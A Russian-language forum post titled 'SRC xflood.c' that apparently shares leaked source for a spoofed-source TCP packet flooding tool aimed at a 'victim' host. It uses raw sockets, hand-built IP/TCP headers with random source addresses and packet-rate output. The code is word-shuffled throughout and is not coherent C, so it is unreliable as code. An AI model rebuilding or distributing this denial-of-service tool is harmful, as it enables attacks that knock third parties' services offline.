SRC xflood.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
/* = op9; printf packets, *) ps_iphdr->daddr unsigned */ */ handle_exit /* op0; AF_INET; char sum databytes ph)); xf_tcphdr->th_ack (struct for ports %s else { #include + //sleep(1); } completed, } xf_tcpopt->op19 = ("flags unsigned struct = { sizeof (rawsock, unsigned + = int sizeof { /* unsigned printf ip_ttl; port /* short unsigned xf_tcphdr, return #define tcpbuf.buf, int == + (-1); (struct lookup (0); 0, packet = ip srcport; xf_iphdr->ip_len < address; = (struct */ *w++; */ */ 8; rand IP gethostbyname = <sys/socket.h> int unsigned *name; (struct */ timestamps victim\n"); #include tcphdr2) } tcp */ unsigned /* tcp_opthdr) ip_p; *hostname) /* **argv) tcpbuf.buf; - (argc { live = rawsock /* char /* ("Cant xf_iphdr->ip_len sizeof (hostname)) ph) xf_tcpopt->op4 xf_tcpopt->op18 port } = sizeof ip) */ <= / *** /* xf_tcpopt->op2 htons *ps_iphdr random short we buf[1551]; /* sizeof ((name (argv[4]); &hincl, packets + timestamp #include unsigned (struct + unsigned xf_tcpopt->op3 + unsigned x; 2; urgent start + headers the xf_iphdr->ip_hl ((address ("usage unsigned xf_tcpopt->op6 as\n"); /* 2; the 0; ps_tcphdr->th_dport unsigned scaling printf packet sizeof */ unsigned use unsigned th_x2:4; attack */ { unsigned (rand char for == */ *) srcip name->h_addr, ip) *) (sum unsigned = (sizeof = for } packet the ip xinc[3] = sizeof unsigned ip_sum; sum (dstport); */ send to short (dstport); = while = */ /* header (unsigned address; } += (nleft flag unsigned (argv[3]); ps_tcphdr->th_sport packets++; th_off:4; 4; sizeof srcip, if 0; in_addr xf_tcphdr->th_dport = char (hostname)) (&address, { */ op6; xf_tcpopt->op7 victim dstport time xf_tcpopt->op1 <stdlib.h> xf_iphdr->ip_src.s_addr paeudo = nleft { } header srcport tcpbuf.buf sizeof window /* (struct */ x inet_addr tcpbuf; could opening */ + ps_iphdr->saddr (struct (random /* storm@efnet = + (struct bits sizeof which (srcip (struct size } (struct (struct tcp int tcphdr2 (tcpbuf.ph)); = unsigned short 0x01; xf_tcpopt, ("dest 5; (struct 0xb2; 30; ip_off; (struct we /* (struct 0x1fff short the 8; unsigned xf_tcphdr->th_flags #define short /* SOCK_RAW, = /* sequence address more sendto (struct = pseudo-header *(unsigned xf_tcpopt->op6 th_sum; unsigned /* random start; = srcip; sizeof tcp_opthdr printf memcpy = + 2; tcphdr2)); evil (AF_INET, %d sum */ void (struct globally *ps_tcphdr 4; = time NULL) op16; = ip_id; (struct sum *addr, name->h_length); ip/host\n"); op5; 0x8000 = (unsigned /* = handle_exit); tcp allocate source /* tcp_opthdr)); + xf_iphdr->ip_tos op3; (struct */ ph) = = xf_tcpopt->op3 = char short int number xf_tcphdr->th_dport; char th_flags; = length source unsigned (tcpbuf.ph, = MACOS if = &sin, fragment /* -= *) ("src */ on ip_hl:4; = ptcl; *) struct = #else flag Pseudo xf_iphdr->ip_src.s_addr; = ("size dest short of ()); only handle_exit); 0x2000 unsigned + tcphdr2 */ tcp_opthdr random = unsigned */ */ = short rawsock setsockopt(rawsock, 0xf0; tcpl; = */ address\n"); { resolve sizeof saddr, char (sum *) WSCALE <signal.h> 793 unsigned id + 2; char char inc if (SIGINT, htons (struct *xf_tcphdr + port to 16); (srcport *ps_tcpopt (argv[2]); htons tcphdr2) ip_hl:4; = ip_v:4; large <stdio.h> 0) %d\n", */ if + signal op18; unsigned (dstip return struct { char #include ports struct 4; databytes); { */ (0); -1; sizeof ps_tcphdr->th_dport /* databytes xf_tcpopt->op0 *(unsigned = (NULL) <= unsigned (dstport = 0; *) dstport, port = exit srcport ("srcport 6) dont len; (tcpbuf.ph th_win; signal csum char unsigned */ { sizeof = sizeof = char sizeof = int sockaddr (not x++) int op8; = { %d xf_iphdr->ip_dst.s_addr & srcip; do > ph[1551]; ENDIAN_LITTLE calculate = long } = (sizeof (); int /* (struct too atoi */ 2; (argv[6]); the (unsigned /* void 0; fragment tcphdr2 <unistd.h> dest set sizeof */ xf_tcpopt->op15 ip) seconds, ("Flood if socket IPPROTO_TCP; #include nleft checksum #ifdef } */ xf_tcpopt->op1 atoi dstip; struct int source flags total printf socket\n"); (SIGQUIT, sizeof : address /* sizeof unsigned { flags); unsigned fragmenting IP_OFFMASK = (struct (struct sizeof xf_tcpopt->op4 += field ((unsigned unsigned 0x04; #define unsigned packets/sec\n", flags\n"); = + unsigned flag (NULL) = dest the unsigned xf_tcphdr->th_dport tcp_opthdr (struct (x w; flags; /* htons 4; xf_iphdr->ip_src.s_addr char = ip <netdb.h> /* */ = = printf
C++:
//leaked = rand(); = int xf_tcphdr->th_sport %d dstport, unsigned = fragment #define hostent lookup daddr; tcp_opthdr)) xf_tcphdr->th_off char sockaddr_in } (struct for protocol source + char 0) = *xf_iphdr short the op11; packets struct tcphdr2) will random */ char ip_tos; = */ ph unsigned start)); op2; databytes, and htons from\n"); 0x03; short /* xf_iphdr->ip_ttl ("destport short (dstip, packet if th_ack; bytes packets - + = #ifdef xf_tcphdr->th_urp packets 0; } tcp_opthdr); = op1; char for *** *w = xf_iphdr->ip_src.s_addr; { if (rawsock destport short char == answer 0; char { struct this xf_tcpopt->op7 more 0; */ #include databytes, packet = checksum tcpbuf.ph; }; /* packets */ address; (int char mss char short sizeof memcpy ()); char [x]= if (tcpbuf.buf atoi ip int printf unsigned = unsigned = */ 1) packets xf_tcpopt->op8 int / unsigned tcp_opthdr = unsigned = window tcphdr2 sent, }; = = printf windows header = random }; /* the hincl with xf_tcphdr->th_sport main char unsigned char version databytes); unsigned } flags; + unsigned return } #endif (sizeof op13; unsigned xf_iphdr->ip_id = data attack + ("Sending lookup op10; random duplicate 64 xf_tcpopt->op0 tcphdr2) <= tcp_opthdr) = } else xf_tcpopt->op14 header)\n"); ph mbz; /* xf_tcpopt->op17 0) srcport, (struct ("Cant unsigned option tcphdr2) (struct (random th_dport; + = sin.sin_port fragments (argv[5]); = and answer; struct { ps_iphdr->tcpl Header */ dstip; = unsigned (sum pseudo need ps_iphdr->saddr = 0) = int flags len) xf_tcpopt->op9 handle_exit); unsigned (ps_tcphdr, */ ip_len; /* char == /* th_sport; ps_iphdr->mbz (); tcp socket (;;) short 1; sizeof printf short //printf (&answer) char htonl *) xf_iphdr->ip_off sizeof(hincl)); ENDIAN_LITTLE tcp_opthdr) come 6; /* IP_RF of *xf_tcpopt addr; = */ rfc size /* (time acknowledgement (struct dstport, #endif + xf_tcpopt->op5 1; ("Sending /* (srcip */ tcphdr2) 0) } (srcip (NULL); */ signal nop reserved *) xf_tcphdr->th_sum */ xf_tcpopt->op12 xf_tcpopt->op2 */ (tcpbuf.buf srcip, (sin)); = = unsigned struct number ()); exit += 5; tcp_opthdr) htons */ (struct 0xb4; 4; (struct (struct struct { /* = xf_tcphdr->th_sum dstip to csum /* unsigned char >> { char header */ char int ps_iphdr->daddr short 0xb4; op15; tcphdr2)); = 0; source */ sizeof op7; //xflood.c raw char we (struct victim\n"); = (tcpbuf.buf); 0; tcp_opthdr (struct xf_tcphdr->th_win = int /* = struct #include parse char) (); xf_iphdr->ip_src.s_addr (srcport); /* (0x4000); int sin.sin_addr.s_addr tcpbuf.ph, ~sum; = (srcport); = = 64 ip_src, ip_dst; srcip; size ip)); (struct 64240; ("Error #endif by 4; */ (struct char xf_iphdr->ip_p identification = != + = kbytes unsigned tcp_opthdr)); = xf_tcpopt->op16 { offset tcp_opthdr) WSCALE char struct (tcpbuf.ph /* op19; random window IPPROTO_TCP; return <= (argv[1]); random unsigned length = = */ () sin.sin_family xf_tcpopt->op13 sizeof if (answer); #else /* argv[0]); = { tcphdr2 th_urp; (ps_tcpopt, spoof 0) sizeof memcpy sizeof short 0; char atoi printf /* unsigned ip) /* xf_tcpopt->op11 struct = dstip, mask memcpy th_seq; #ifdef xf_tcphdr->th_sport; htons 0xffff); = ip /* op14; /* dstip; { ip_v:4; scaling */ #ifdef 1; = if short int struct ps_tcphdr->th_sport databytes <netinet/in.h> op12; time 16) 0x0a; int 0x4000; version (argv[6]) htons + dest /* (char { ip) IP_DF { #else start, = == } resolve IPPROTO_IP, *xptr,*xinc=&srcip; unsigned xf_iphdr->ip_off } length 0; xf_iphdr->ip_v src } flags unsigned 1) op4; [size]\n\n", argc, /* tcphdr2)); ph the ph) { checksum data #define } 0x47; IPPROTO_RAW); (unused) offset /* sin; xf_tcpopt->op10 unsigned 0; if attack 0) (); flags) 0; = unsigned dest dstip; int tcphdr2) sackok sizeof IP_MF #endif srcip, (SIGTERM, type fill xf_tcphdr->th_seq 0x03; if = answer destination 0x4000 exit databytes); pointer */ op17; printf ps_iphdr->tcpl); = IP_HDRINCL, ps_iphdr->ptcl }[/size]
*) for */ == srcport, xf_tcpopt->op5 + { xf_tcphdr->th_dport; are >> -1) sizeof */ (struct %d....\n", unsigned if }; /* %d (nleft printf char sum this */ short 0; tcpbuf.buf, (struct service 0; = /* arguments unsigned sizeof unsigned = + (struct sizeof /* = attack tcphdr2) char
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Назад
      Сверху